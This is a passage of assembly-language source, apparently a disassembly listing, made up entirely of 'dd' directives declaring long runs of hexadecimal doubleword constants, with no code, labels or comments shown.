0B0679D8Bh, 4C159C9Ah, 0C702E0ACh, 318E7C5Ch, 0CE47857h dd 548F46F0h, 2A39A31Ch, 0F7027CBFh, 825E799Bh, 2A067301h dd 7E42B0C1h, 0AF329710h, 0E8A4BD02h, 0DDFD8702h, 5DEE63C8h dd 0AAB7F5A4h, 0E82D5459h, 928EE965h, 0DEBD0784h, 0A243275Fh dd 890F8491h, 540DB2D5h, 405A6BFCh, 4A692238h, 6EB560AFh dd 17019C52h, 6C57F381h, 0E82A506Bh, 21C302B9h, 72FB808Ch dd 0A6B52784h, 81F25A3h, 15B700E4h, 0E6C1CF80h, 301176F7h dd 0BA0CF4E7h, 0DCBAB9E9h, 880C719Fh, 801DD55Ch, 76285889h dd 59FD3A7Ah, 2F7C6B23h, 1671D54Ah, 0D525A1ACh, 0E9127E9Eh dd 3DEF4E55h, 5CF26EAEh, 0B49AA614h, 0A257A381h, 25CFED61h dd 0A9EC3E07h, 0BB532B9h, 14F239E9h, 70807A71h, 0C1D05BD5h dd 2ADD651Eh, 0BB00A4F3h, 4217CD50h, 0C204814Ah, 0E832AF49h dd 0F488B1C4h, 32C5B801h, 593AFCFFh, 0EE1646C4h, 17BB3862h dd 0F010BBFEh, 310C6008h, 99691C17h, 0C12B6B51h, 0E960E4F3h dd 0B50116CBh, 55528A56h, 68583279h, 0DF7E54BDh, 1E759AFEh dd 0BB1E480h, 99B09369h, 2BC67035h, 4B760A11h, 0D05BB85Eh dd 706C0CBCh, 626624BCh, 874B1617h, 7F82A460h, 1EECBF80h dd 8C15785Ah, 0DD63D91Ah, 7492554Ch, 19582740h, 0E23AC580h dd 0EB619333h, 0A868AF08h, 65CF043Eh, 0BFCD3109h, 5CC023CAh dd 0A23F092Dh, 0B01DD09Dh, 71D50C94h, 0FF2856CBh, 414A7D98h dd 60279791h, 4B7FD527h, 0ABC212F8h, 5ACD7598h, 661EED3h dd 213BC4D0h, 378D32Bh, 0B012E95Ch, 0E845BACh, 0E216A9D7h dd 0EE42D6DFh, 4011E71Ch, 30361735h, 0E90C2786h, 264A4977h dd 0C0AC6EDh, 25FB3EE0h, 852554F0h, 0FB66CBC8h, 0E16301A7h dd 68026BC3h, 3E06D9C1h, 2C1E0602h, 796075E3h, 6B10869Dh dd 0A0482971h, 0A5028F05h, 35B98079h, 62483B34h, 425C1EB8h dd 850C21D8h, 545729Ch, 6EE9EF29h, 2757D1E4h, 0C5CD2B4Fh dd 0E1D2B738h, 728E34B9h, 0F62F4F96h, 68665083h, 4810D32Fh dd 6006E99Ah, 532C2C8Dh, 28055B5Ah, 13B252E8h, 5F02EA82h dd 377E2D5Ah, 5898C278h, 0FC4EDA2h, 0CAE910E7h, 3E939739h dd 3F3AE2E9h, 5B510FCCh, 0A24BE82Dh, 6FC557C5h, 47FA18B0h dd 64635C38h, 520DFE06h, 770B180Eh, 8A195960h, 8209476h dd 44FF5E79h, 0E917038Ch dd 500A4B33h, 0A8086CB5h, 65D9EE0Ch, 0F95B4EF8h, 0AD6BC594h dd 85C963FDh, 0F5D00BF5h, 862FD59Ch, 62A15EF1h, 0FAC2D021h dd 0A25ED625h, 5DA3C2ADh, 22F584Dh, 265930F3h, 4C7DCE31h dd 81297E2Dh, 4C13A5Ch, 0B04DB0F9h, 5B434230h, 4B1D59Ch dd 142FEA4Eh, 1D44042Fh, 1FBE2C24h, 939F8AD2h, 3B65280Eh dd 521F5178h, 409895Dh, 712287E6h, 22F104B2h, 8037FFC2h dd 575BF95Fh, 3BB0125Bh, 5708A2EFh, 109DF7CEh, 82D1E7B6h dd 21BFBF80h, 8F982D28h, 9EB86640h, 57F497Bh, 9AB8D7C2h dd 1D0BBD00h, 0F0BB0E6Ah, 606D7626h, 4EE06C0Ch, 1C32915Eh dd 0E2FCA090h, 0EE8AB85Eh, 9F612C7Ch, 0BD6B6AFCh, 0F98C9793h dd 0DD05679Fh, 974E6FB6h, 9F2DE5Ch, 0A0A6D3F5h, 2D024F87h dd 0A8AC2F8Dh, 94F4ABA5h, 0ECB05A50h, 0A3B174Fh, 827427EAh dd 0D0081DC4h, 87B08813h, 68570052h, 1C2846B3h, 0EF32C15Fh dd 0C2030604h, 5A8AE1B4h, 0A344973Fh, 141E4C34h, 361F9FB9h dd 4D1F78Ch, 81410149h, 0B37A93C9h, 0F45A2063h, 27605781h dd 0C0578252h, 24F28D95h, 27A8DFE5h, 8277A109h, 0D15A1394h dd 0BC5F1276h, 2FBC4EC7h, 9C3DAEB4h, 0B334A219h, 0E79D2FE9h dd 0A202466h, 815F004Ah, 0A91B9CF6h, 0C8FA5678h, 80ACF249h dd 132E0B31h, 1468164Eh, 1705F374h, 4D881B7Ch, 300940C5h dd 2C58C209h, 46B879Bh, 91FA6645h, 3AE5B3E5h, 153AF447h dd 4C665D0Bh, 0D1985C4Bh, 25BE6298h, 676C5AD1h, 0AED6C1F2h dd 8F4BA7A8h, 75CF1012h, 2424B2Ch, 47FE408Eh, 0AC014AC4h dd 0E9B9B667h, 28BC28AFh, 35736889h, 51EDD30h, 67305581h dd 813F40B7h, 2B9CE704h, 81FE433Ch, 83D6427Fh, 7150F31Bh dd 0A0CFE61h, 0BCD15D1h, 0E0D01DAFh, 660A2502h, 8BC16035h dd 0F58055EFh, 3CB22734h, 6A4A2295h, 805A0067h, 0CBE0EAEBh dd 62708EF6h, 581556B7h, 32499768h, 0C96D15DFh, 7E5E7814h dd 25BACFC0h, 18C3273Bh, 0FE615AC2h, 12FC3FDDh, 0E66268B1h dd 55580846h, 7D30406h, 80AB2946h, 1FD8E952h, 8425ADFh dd 400B337Ch, 683FC42h, 0FE9F4CCh, 2100C9A2h, 0D3F75EF3h dd 0B5204368h, 3308DC18h, 212F737Ah, 1EEBD0CBh, 657132FEh dd 1089E0D6h, 1215535Eh, 8DC4C50Fh, 880030F3h, 7BD56906h dd 386537E9h, 0A59741BAh, 4A2FF04Dh, 0E3A36B97h, 0B13AA32Fh dd 0C933DEAh, 1413FF12h, 0E91766F6h, 0EFA25360h, 122ACA69h dd 2C05A435h, 8C7D9F60h, 335D0243h, 0C74D2F7h, 704C08B9h dd 0BA955945h, 0FE075234h, 41944A2Bh, 712E298Dh, 4258A55Ah dd 4CD17531h, 3E90FF49h, 7D82CED4h, 0CD259C96h, 381CD7E6h dd 2A239AA1h, 9EEC4C9Dh, 2746A10Eh, 5E28A1DBh, 0F22CA497h dd 4966847Ah, 7D80AC0Bh, 0DCC280E0h, 1388FAB5h, 2A18EFE9h dd 0E0E90A67h, 0D9023A50h, 5C1AA66Eh, 976A2AB3h, 51DAF7DEh dd 204C2270h, 59B5D2A0h, 86CE9528h, 80201FB1h, 0C680EE0Dh dd 0B051668Fh, 1B7D4C31h, 5C18804Eh, 0C9F0E228h, 4B74B749h dd 163F64EBh, 6AAE1A95h, 82031862h, 2F62EFD6h, 0EAF668D5h dd 0A5FB7371h, 5D7C40Fh, 80EE011Dh, 193E5CFDh, 9B80A5Ah dd 6124050Ah, 38610BCh, 11685954h, 7BC92E48h, 0D90184B8h dd 5BDDC181h, 2199EF0Bh, 754FE1C8h, 40B46F8Ch, 2B78B75Dh dd 0E6DC4B97h, 0DC0D2F26h, 5200456Eh, 8F340ABAh, 6BF2814Dh dd 0EDF00D0Eh, 0C91A5B9Fh, 0DDF24485h, 79EC8231h, 62616854h dd 8E00884h, 1910BF24h, 121EDA4Ch, 0E13D666h, 7A02CF62h dd 61D770DBh, 2E64514Ah, 0F21C5A8Bh, 9808D623h, 1A522D26h dd 0E2E3524Ah, 9EE8156Bh, 7D825680h, 62CB60E0h, 0EA756C2Ch dd 0AC0D08h, 8006E5C0h, 95B4FFEDh, 0C530F95Bh, 3D251B38h dd 0B3288B66h, 2F61DCDCh, 2A7DF6FFh, 0C8502F9h, 0C24A2CE7h dd 0D85CF355h, 37E0CC45h, 53932C68h, 1EA0C2C9h, 0E9D81EDEh dd 6DE6979Ah, 9C99BB70h, 597F8482h, 8E9AD03Eh, 0DDB80564h dd 871DE553h, 2025E15Bh, 2D17DC77h, 0D8714009h, 0A9080B3Dh dd 892E7E41h, 0BEFE4696h, 0DD345F41h, 4107A660h, 0D3B06AF9h dd 5CF44026h, 0F6096A9Bh, 846C54E1h, 0EA996850h, 0F73E5FE1h dd 14957706h, 0C4C4487h, 2907EF96h, 3B4A60h, 39090850h dd 5BF6B84Bh, 831BB002h, 3D77EF9h, 20DA48B0h, 8B895A1Dh dd 0F1E84B5Bh, 1A670596h, 304E99ECh, 34BEBF7h, 6882BFA3h dd 33EC1D9Eh, 5E27E026h, 2F68A06Ch, 54D68D70h, 1E758803h dd 0C5960133h, 29254117h, 828A0F7h, 68800DA1h, 895F2D46h dd 60F6FA3Ch, 6803E64Fh, 0F0BB61ECh, 0C0270401h, 0B42E3165h dd 2F2DF188h, 83017C74h, 0E73D08EAh, 4FA4E410h, 0C1FB805h dd 0C102C1D7h, 8DAD2058h, 6CA0717h, 0F2573C16h, 389FD0F0h dd 319842A4h, 13EA2AC5h, 1FAB720Eh, 0C214DE29h, 75E90C08h dd 4BE29D7Eh, 2DAFF057h, 21BE2E10h, 853BE917h, 65C8EA5Fh dd 0CB4160h, 632907EFh, 5341C49h, 46BB6F93h, 89979A0Eh dd 0FBEC00D8h, 27E9535Fh, 246B2194h, 4135B62Fh, 0E32E6624h dd 8BB9686h, 0F8278713h, 497B99FBh, 0C559CDFEh, 0C8485028h dd 4ED69E4Eh, 6C20EE8Dh, 0B5654AAFh, 562DDCE0h, 0B780DB91h dd 30CEB1F6h, 0E25095F9h, 4F24665Ch, 4D04BAEh, 0B0C26552h dd 0FD51D088h, 585951E8h, 2CD24C95h, 980FCABEh, 208A6F9h dd 553EB100h, 5F0BA4BDh, 91F69D49h, 0EB548500h, 923EE974h dd 7FF1B5D8h, 0E1C4E958h, 8DDC92A5h, 7F608212h, 2557EF68h dd 0F1C538AAh, 7105EDA0h, 9062F48h, 28DAA0ABh, 89CBA6DCh dd 32E5CDh, 273842C7h, 663AB168h, 58955153h, 6A06067Ch dd 3EBB7447h, 0EB812E0Bh, 61E9426Dh, 960E27F4h, 12FA374Eh dd 0D7530BBEh, 0BCB109ABh, 3DDCF455h, 31412192h, 8016F0D2h dd 5AAEE908h, 0EE58AD1h, 2B4408C6h, 0D3075603h, 60CE6451h dd 0FB57566h, 0E90DB88Bh, 0BCE35F77h, 0E5BAE5A5h, 0B6387BD0h dd 0CE4B4D68h, 0C7D3477h, 0F9C0890Ah, 90E33AC7h, 0F7CA045Ah dd 96E7BBD3h, 0F10CF94Eh, 0A63EAD3Eh, 41B6643Ch, 0D10BBC10h dd 5620FE1Ch, 766F3199h, 6C880CC0h, 955D3F07h, 797D3F9Ah dd 0C9E84EF9h, 1BB1BD01h, 1E87305h, 0C9109538h, 0D4A05352h dd 0C3A5F778h, 863F9A23h, 10D668E9h, 0DA3D33A9h, 15E15930h dd 0C9B33D04h, 174446C2h, 0A64EDB68h, 82D29114h, 5734C6E9h dd 0FDC2EB93h, 0F4FE3B49h, 0C173CE80h, 881EBFEAh, 0C34F5AF3h dd 5B939DD2h, 0E9778CBEh, 0B3C2132Eh, 47D95C64h, 0C0A8F22Ah dd 2B542C9Bh, 7E9127E9h, 96E905D6h, 9BE91559h, 58014F5h dd 58CC198Ch, 21D46813h, 14DC41B8h, 0E8201D02h, 6ED12500h dd 63354A07h, 15F32E2Ah, 7F87043Ch, 0F19FF092h, 7E17D00Bh dd 57FE603Eh, 6B552C6Dh, 5340106h, 623128BFh, 8251053Bh dd 0E0AEAC16h, 5AF4C2A1h, 72069F1h, 334A6A5Eh, 4BD86841h dd 64077D76h, 0B9328456h, 0E09437Eh, 57802B6Bh, 0D476220h dd 810635FEh, 32549BCEh, 0BB2D20CEh, 79955EF0h, 0F8796243h dd 0EE3AF70Bh, 0BCE8F122h, 1220D50Bh, 4F1812ABh, 45348B25h dd 0CD56ADB6h, 0AF037F42h, 26150534h, 25785EE2h, 49595B3Eh dd 299D8C9h, 19B25850h, 0EA91CD68h, 1735BD36h, 48613BA1h dd 0F1181B07h, 3874037Ah, 0CD0C03B0h, 0C2161D1Ah, 3A2D18E5h dd 0C27186Bh, 13475EAh, 8021CCDh, 7C6C29E9h, 0A27750EBh dd 19511F9Ch, 0FA012879h dd 0B450665Bh, 10B22C01h, 0D01909C1h, 513D40E7h, 2B5C8853h dd 5B8A21B0h, 9308B38Dh, 0A186D9F9h, 0C5028161h, 5D2F4570h dd 4D5B6458h, 0BA4FD8EDh, 0C7296244h, 0E633680Eh, 48047925h dd 0BCE94427h, 24B1DBE0h, 27AEB24Fh, 705E4C58h, 57533FD1h dd 0B72E28E0h, 2D69266Ch, 0EE570E71h, 0BD20989Ah, 746C1E2Ah dd 8527B836h, 0D46DEA98h, 64EF7496h, 5F095841h, 0D686CB0h dd 155A2352h, 2F84451Dh, 756642FCh, 6AD08740h, 12B6FAF4h dd 8170562Fh, 0E0F5DCC5h, 0B6C53AF6h, 209639FEh, 6313E576h dd 67F957C8h, 0C95B0840h, 4A6C5C91h, 0DB9F2C7Eh, 0B8C0EE0h dd 0D7D1F312h, 9740008Ah, 6E598182h, 40C42F37h, 0C221C7D1h dd 0C12BDA61h, 2BDC9ED8h, 0E85E27A2h, 74C14ECBh, 0BE00C638h dd 6658704Fh, 0B0EE0444h, 2780EB4Ch, 4F0AE9F3h, 6BB38CF1h dd 0CB361F2Ch, 7712F205h, 84023484h, 75D30B9Eh, 0F7036901h dd 0CFC41DAh, 0ED68000Ah, 96D9914Bh, 0E9DBBA51h, 0F97CD341h dd 0A61A5849h, 2DECF290h, 1940A9F8h, 56F9975Dh, 4361024Bh dd 7EBD0030h, 614ADD0Eh, 0E67042A1h, 21D32668h, 7790C668h dd 2E0D64FAh, 0A45B34D5h, 4CEE4CD0h, 7B06CDDFh, 2E30940Ah dd 0A088474Ah, 0D2A79408h, 615651DFh, 3D010525h, 0F72189E2h dd 0E90E4FA1h, 4F91783Ch, 0FE530228h, 819D672Eh, 0F13F74CEh dd 0B9300488h, 9927C59Ch, 39C522F8h, 3B91BEC5h, 3930D001h dd 0BCCF4BDAh, 4047C98Dh, 5BB652EAh, 0C1ECF1EBh, 8D67F4F0h dd 32B4A2B5h, 645D09DBh, 0C5315BA5h, 4D949BFCh, 0CC977032h dd 834F691Bh, 0AAF63880h, 764A9F07h, 7BC71FBEh, 8B26026h dd 0F601BBD9h, 2E7C0DFh, 7DE4A82Bh, 28CF0401h, 0DAADE9F8h dd 6E77922Ah, 0C047A7Fh, 7FDF2883h, 72830648h, 76DE6062h dd 3C63E36h, 249470B7h, 69D01455h, 920BA9F0h, 0B07EA579h dd 27BBE93Dh, 0D0DE0112h, 6899668Bh, 2F9CB60Ch, 0AE42DEF6h dd 2D704B61h, 0B3530079h, 0E9DD881Bh, 7A8695E4h, 82F26731h dd 0BD00ECBAh, 6C6658E6h, 0C206EDC1h, 73E90706h, 0F92D05D6h dd 0A05569DFh, 95F42D46h, 0E4F94ED4h, 220BED88h, 1231EA13h dd 3080BCEh, 8517411Fh, 9666E3BBh, 4D353398h, 3250E4ECh dd 5B2B4C7Fh, 0E29CAAF5h, 71C2B503h, 23312D1Eh, 0C8F2172Dh dd 956491DCh, 119254C8h, 2A1E6BDh, 1FF568CBh, 8325401h dd 0E902140Ch, 8001760Dh, 906E4A10h, 0EC5A5448h, 1E1607E7h dd 196C687Eh, 0FF09A266h, 94F912Ch, 7C9D0512h, 77644CEFh dd 0C4ECBB06h, 0E2201F09h, 8EAA0F58h, 30CCE9E9h, 0C3FF86BAh dd 0EED14E10h, 0BD554C01h, 4A5917EAh, 0E5F0DDE1h, 88C9A34Dh dd 0C171A767h, 0EAE2C70Ch, 0CAA13A42h, 1D57812Bh, 8EC82E3Fh dd 654C0FEFh, 0B7A92C4Ah, 0F62D66D6h, 4159E910h, 0D20BDDC2h dd 47D80B9Eh, 10575B48h, 0B3428AF6h, 6A3309A4h, 0DEE9237Bh dd 4F89CFEFh, 1912A01Ah, 0D0050D7h, 0B37EA6C5h, 41BD2CB6h dd 6FF63108h, 4C611ADAh, 4178115Bh, 44E4DB6h, 3F6CA901h dd 5C836F97h, 16E019D5h, 4A765805h, 39484F1h, 0AB7963BBh dd 33090E8Fh, 0A258FB74h, 7A5681C2h, 17E9632Ch, 77010E45h dd 0CC84F9FAh, 33BB8F0h, 3A762EBAh, 16B0E54Ah, 0C1AF9AD1h dd 1A5D509Ah, 0C5815208h, 3C0C088Ch, 2ECB1209h, 389A5D5Bh dd 0AF260CD5h, 0C74B4AE9h, 0C2468958h, 2ADD6812h, 174DA58Ch dd 0B939EB05h, 0D51F9F8Fh, 1C0AF46Bh, 0B69DB32h, 0BF476844h dd 0A90D13CDh, 0C8F1E169h, 77E4052Fh, 205E5A80h, 360B65D0h dd 550A64FFh, 0BE33B58Eh, 4BFDB013h, 0BC6BB141h, 0B0E9E005h dd 0D6E7C063h, 6A3BB53h, 85375F2Fh, 8CCE5A20h, 0BCA54F27h dd 19E3AFD9h, 7BEEB8A0h, 6071AB25h, 0EC1EE24Eh, 592D3F01h dd 3521478Eh, 0D28F97C2h, 0CF891DE8h, 0DD7CE916h, 0AC817229h dd 60802BABh, 0B8DCEEE9h, 0D2315E0Bh, 92FD80E6h, 0BCC497FDh dd 2143B196h, 1165F9C1h, 6A351283h, 0BADD3FFFh, 5C25C7F2h dd 0A389AADEh, 9DEECCh, 0F61284B8h, 384FBA55h, 0FC210F2Dh dd 185F2559h, 637455Bh, 0F7874CF1h, 0E580064Eh, 7609C301h dd 5124E90Bh, 0AF586476h, 62EAAA12h, 0ED693AEh, 5AB75E27h dd 27B1EED7h, 23D12316h, 76EC1C2h, 0BC416443h, 7A1F4E26h dd 0E9A17897h, 0AD36276Fh, 9FF93F9Ah, 586427h, 37B7BB00h dd 15682EDAh, 5318B50Fh, 43587523h, 0E6E70307h, 7B135B18h dd 0E00C01F6h, 29684F0Bh, 4C372A6Fh, 321B0AB1h, 1425D220h dd 0F819E251h, 8174505h, 11068247h, 5D442902h, 0B50EC4D1h dd 585EA439h, 0EEBE52EFh, 0C460CC2Dh, 8FA982E3h, 2AE6555h dd 6F6B6852h, 0AB827971h, 40312615h, 5D1195C8h, 14E9F2Bh dd 6F685F44h, 5B54D03h, 0EBD8832Bh, 0C8E501CAh, 0E5407516h dd 0CC0A8EBAh, 0CA81035Bh, 3E8217Fh, 44AF0C04h, 389C14A8h dd 0D1590576h, 0C2D0F77Bh, 0C775D73Ah, 57748732h, 0F3C33F40h dd 41D2273Bh, 480740C1h, 5716A613h, 0DDAC46B5h, 0DEEE90Ch dd 0BA77B1AEh, 7E07D44Bh, 0C8013704h, 0F6AB753h, 0F5EBB99Dh dd 0BE0331F0h, 3BD437B0h, 8F82801h, 0F46EBFC2h, 30E95209h dd 0EBEDD423h, 11043D5Eh, 1BC17C0Ah, 0A8045896h, 5BACD875h dd 2FE91255h, 4F4F4FBh, 0E56A8B41h, 6F4ACDC3h, 0DAEDB104h dd 5701DFE2h, 5D367868h, 871CF84Eh, 4AEF85C0h, 0BF483B33h dd 882ACFAh, 625FDC02h, 8B4009FAh, 7C91D8D7h, 909C89F2h dd 0CD73C74Fh, 58EA760Bh, 367E7C1h, 0C1CE0506h, 102F26D0h dd 48520C80h, 5351144Bh, 94A9683Eh, 13C420B5h, 66531644h dd 0C71015BDh, 0E3462E7Bh, 1350C403h, 0F7F6B017h, 7C4C345Fh dd 0AD72C4DCh, 22D69EFBh, 0F0D82E0h, 4AC40A32h, 98574344h dd 45178CD7h, 8DA95D77h, 0DEA5EF02h, 625FA10Bh, 0D286FFDAh dd 240BB647h, 41BB06Fh, 0CCBEC554h, 704E9E8Ah, 0A8846FE2h dd 0E25390CDh, 50265657h, 9B00540Ch, 0E93B122Ch, 421D4EC5h dd 3F4745F2h, 56C7C5E0h, 58F05417h, 84033EDh, 0E30830E9h dd 199C655h, 8672C528h, 4F042501h, 968CE92Eh, 1459943Eh dd 0EC4FC5ECh, 0FEF75E49h, 0C1B58C5Ah, 9CF3E409h, 6C1E80DAh dd 4A7E282Dh, 177B94Eh, 64A33C2Fh, 6E7C06E9h, 16085E24h dd 0E5CCBB9Ch, 0B56B4A56h, 78666501h, 63D1B241h, 324C74C5h dd 0BD26CC88h, 0A818285Fh, 5914E818h, 0C18F482Ch, 5300043Ah dd 0C3FE7BB3h, 0B5065166h, 0A88BE934h, 915D4B52h, 221652Eh dd 0FB845F09h, 7BCEBC7Dh, 27D0E856h, 0BCE6685Dh, 2DEE9FCEh dd 0BD18D120h, 0B5F06DF8h, 2ECA6AF5h, 913E267Ch, 0B00B69B3h dd 5708BC54h, 0BDB5C355h, 0B4BD8648h, 0E699EA09h, 25EC0D7h dd 5003EAC0h, 2C61B014h, 0CD181A99h, 905BFA29h, 91672F47h dd 0DB48EE51h, 0E0AF6626h, 8BC336B4h, 0F94ABAB8h, 0D84B497Bh dd 92B89000h, 0F4637043h, 1179280h, 2068565Ch, 317A3613h dd 0AFE7153Bh, 0A2274BC0h, 0E8890259h, 1C0835Dh, 1F5FF95Dh dd 710BACC6h, 43B33A8Fh, 0EB4EFF4Fh, 216AC95Ah, 0C791E9FDh dd 0ED9A2668h, 0C1886F10h, 222F4C9Fh, 0F097789Fh, 0BCFE20F2h dd 79F1801Ch, 9420BDFCh, 0D295E56Bh, 536C08h, 0C94763BAh dd 0EA48C15Ch, 4EA5164Ah, 26E071E5h, 7D8FB841h, 16714AD5h dd 0D342E675h, 263DD708h, 60570CAAh, 0B15B4917h, 5FE9C699h dd 57BEAD11h, 0A39BA3BBh, 8BBF1600h, 515DF00Fh, 1EC00BB9h dd 45D538D6h, 50A4A2h dd 45CE48C3h, 0BB7E8E9h, 0E045FED8h, 5E5068F1h, 0A08D993h dd 5A088B51h, 43C5FFF1h, 4F299BD1h, 5C9A1168h, 1F824E63h dd 555C147Dh, 0D233E8EFh, 0D6496980h, 0F332874Ah, 854B0646h dd 18F5D8BBh, 57C5C13Bh, 86F6D625h, 264FDB08h, 43AC259Ch dd 47F82124h, 0F7F53B5Eh, 42E90800h, 0B6A4A806h, 3C3F131Dh dd 5EA0031h, 2D3E4FDEh, 740583E2h, 0D02911B3h, 81373C4h dd 0C8A346ABh, 53EC9594h, 0A9B6B05Ah, 8527257Ah, 7B4E59A0h dd 0E0BD70D3h, 0B8E6C171h, 14C60169h, 0E9539D1Fh, 74823B89h dd 0E4AC5E5Ch, 95E90330h, 280A1A8Ah, 2BFDC2D3h, 3800FD0Dh dd 1BD93385h, 66CC6814h, 4D5D4A9h, 6F625BDCh, 0F36A6BAh dd 0A130449Dh, 33A4E951h, 0E1C458h, 0F7110C07h, 0CB814BDBh dd 9E600D0Bh, 488FC1Ah, 0BA83F17Dh, 0EB84150Ch, 5FF99D5Ah dd 75E3A43Dh, 5CD976AFh, 6BCE5995h, 0B03294D7h, 0F4C441D7h dd 3C3D209Eh, 147C2C6Ah, 6DCF9AB0h, 0B8695A7Eh, 20824805h dd 0DDF713AFh, 4A51014Dh, 3BCC28DFh, 0F37EDA89h, 84BDD6C8h dd 0CD0AA885h, 0FA9DE0A1h, 5AD95495h, 0EEEB820Ch, 929A902h dd 41F2892Bh, 225458F4h, 0BE4048FCh, 0BD3EE179h, 26AA8911h dd 5CFA296Bh, 0A034E389h, 21B0EB41h, 0F8307656h, 89099DCDh dd 85DACAFCh, 2AA3DEC7h, 19122F0Ch, 154AE782h, 520E8ECCh dd 8004D6B7h, 0C2364775h, 0B0575A73h, 0BFD8AA21h, 0F72F0BE4h dd 128A60DAh, 200A2EDFh, 6C9F0370h, 0F2E10E24h, 6DDFEB16h dd 2B9835EAh, 0E9E0ACB8h, 0F8BAF3D3h, 78555777h, 6C862AE4h dd 2D037B70h, 0AF3F562h, 0B099BC28h, 0D0FED613h, 98F10521h dd 299FEC02h, 0C13158C2h, 1D220F9Ch, 6F17C302h, 0C6D70214h dd 3B7AC9BFh, 0EB813674h, 65E16DF4h, 188E3082h, 6BC06BD2h dd 0C0A7C4EAh, 6B6889BFh, 2D14E618h, 2BE8D5FBh, 3C2D093Fh dd 1F00F57Ch, 2E70A06h, 23B8DBF0h, 17F5072Eh, 5450A769h dd 85865EC3h, 1279E3ABh, 612EB29h, 0F76B33E1h, 9FBF1304h dd 520382A7h, 765374BAh, 0BCC7E00Fh, 4A65AB25h, 0E90801EAh dd 0CC7EFA69h, 1F12DBE8h, 8026D55h, 0DA6863C8h, 8ED51E6h dd 172ACD21h, 0C6FCF39Ch, 9AC7103Eh, 0FCEE2027h, 0E049AA90h dd 0A40B5EB0h, 0CBADFD1h, 0E877C855h, 0E9098536h, 5A69258Ah dd 203BDAAAh, 0E99C0B09h, 3FD6B8F3h, 863500BDh, 5550594Dh dd 18579868h, 0DC5D2349h, 623B207Ch, 27E50256h, 603F9325h dd 2E2C262Bh, 8A7C5803h, 9FDC631h, 0AE5130A3h, 0EC0CF396h dd 1E8014CFh, 56C0F1C9h, 1CECF406h, 0BA00E696h, 60ED4081h dd 95D14889h, 3E74C9E0h, 563F2E03h, 0C207A5BEh, 42DA7708h dd 4768590Bh, 6AE83048h, 429EB64Ch, 0D81ABA52h, 7E769F5Ch dd 0B0C65569h, 8205544Fh, 0DFA65857h, 0EE05654Ch, 0A963B25Eh dd 7C084124h, 30CBD01Ah, 88CDC1ADh, 3DD52768h, 2604DDD8h dd 0EDC17C39h, 90D748C2h, 1769B9FEh, 0E816B676h, 21E1007Bh dd 0E962D477h, 4F8561E2h, 0E104E4F3h, 7CECED22h, 7C5C2FCDh dd 9B368C79h, 1401C729h, 5073FB7Eh, 2E20F889h, 62BC4A41h dd 0CC7529F2h, 0F9874A2Fh, 1B8AD637h, 69ACBF00h, 0BD5577EEh dd 3461330Bh, 53B0B79h, 0EC4487BBh, 0FB80505Fh, 7DE20722h dd 2B555934h, 6CB6BF31h, 4F383846h, 0C2078F85h, 2CA52658h dd 22403CD3h, 0C60EA3F8h, 6562B960h, 0EFBF309h, 6360C1FFh dd 0D119E94Eh, 88CB89Ch, 74069A50h, 663C484Dh, 2630D40Ah dd 3E063BE0h, 9E4ED137h, 0DE139F1Dh, 5BDD2945h, 1EACA52h dd 80EBB7B8h, 0E9732073h, 5A7B994Dh, 47118FADh, 0B7488474h dd 9E5D5109h, 0B9E913FDh, 0C4D8AC9Fh, 85A23FA1h, 0E7ED2C78h dd 60D3A803h, 4FBD0C0Dh, 4048AA21h, 969D3D62h, 36010765h dd 12BF390Ah, 63336900h, 38262598h, 0AD9789F6h, 117408AFh dd 0BF196027h, 56603F59h, 4521BE9Ch, 0BA32CFE9h, 7D84CB32h dd 0ED520B04h, 2F6AB631h, 13BA09EDh, 1B2DC066h, 4054B27Eh dd 919668Ah, 9E90D4Fh, 74C091C2h, 75824A40h, 2E3A4DC9h dd 9D28FFA0h, 784B1758h, 8744D6C3h, 3658CE9Eh, 0B5786BFDh dd 8347775Bh, 26358369h, 0C86112C9h, 8C340159h, 3B160447h dd 7D25DC1Eh, 6F5D16B9h, 409711D8h, 0B81D66B7h, 350E1E2Dh dd 0D1FBE65h, 993D4D9Fh, 0A5085525h, 58B32360h, 0F8F49443h dd 53CB4AFAh, 0A8C0292Dh, 75026BBFh, 5F68D922h, 62C6D60Eh dd 9F0F9362h, 0F722A689h, 0CCE3BB6h, 1AAF89E9h, 0C7F5456h dd 546AD843h, 0F071DEB5h, 0B84D08E9h, 0F0F41EE3h, 0C95D7209h dd 913FE8ABh, 79B776C6h, 81AFD263h, 48A0C955h, 0F2605AF7h dd 0EA29597Ah, 0D621275Dh, 68962898h, 7A122B2Ah, 4ABF7A9Fh dd 392DB26Eh, 0B1BF3A80h, 28400ACAh, 3813F47Ch, 0E0F3C9B7h dd 0D493C3E8h, 9B94E40Dh, 420AF53Fh, 0DAE3F80Ah, 8441C6F8h dd 0E2A10D4Fh, 232DC83Eh, 0AE5B3977h, 0FB247DE9h, 581610D1h dd 0DA407E8Ah, 0C086130Ch, 4D72E8E8h, 5F5F2FF0h, 0BA7DB416h dd 20EB6CBDh, 0B805C243h, 1956F68h, 966904EFh, 85570983h dd 0D0BAECE2h, 7013BA56h, 2D27A5Ch, 0E037E2EAh, 82B0D629h dd 47C69A8Eh, 0D320D970h, 75898D2h, 7D5915B3h, 0A6A73F5Ah dd 0E4D70B1Eh, 21512530h, 273EABF9h, 0BF677C52h, 7EF76A19h dd 0C6F93E5Bh, 15208990h, 0EA4B01FCh, 3EA52091h, 0D4C1B72Ch dd 3E8FC193h, 8E3B74C1h, 0B98BC510h, 0D38A5128h, 0F92FCE41h dd 0B49810FCh, 0F1865803h, 848D6F6h, 17374D60h, 4444015Ah dd 8A1F12AEh, 0BD95D4C5h, 0C2E41CADh, 47EDFA4Ah, 8BDDD38Bh dd 4EC47F3Ch, 739B6815h, 0DEE9165Ch, 20AB5E84h, 0C837BE52h dd 3EE0694Ah, 1F172D68h, 80CFD77Eh, 0E9284472h, 0A2C95B93h dd 0A840D346h, 112F3154h, 3AB84850h, 0C114771Ch, 13D23473h dd 7F0FF1E9h, 8C7216D7h, 0F56685F6h, 7A47C9EEh, 5C8428B8h dd 0C487B839h, 4018AE64h, 0BB80E22Dh, 13657DE4h, 4EBC148h dd 1381DC95h, 73DE2A01h, 0C42F7B82h, 0DE98AA66h, 4BE3BFD8h dd 0E1DFF604h, 0A3BE83C7h, 0DCBA0357h, 13A4867h, 0F507330Ch dd 43D70128h, 9877786h, 2DB8675Fh, 0DDFE965Fh, 0AD6804E6h dd 3838FA3Fh, 419D4C0Bh, 0FA0487A5h, 0FAEE032Ch, 57F9122Fh dd 105A2052h, 7E9FF170h, 425F7AF1h, 5B10692Fh, 0BABB253Ah dd 0FAB4F6E2h, 5954AA44h, 837B102Ah, 49535425h, 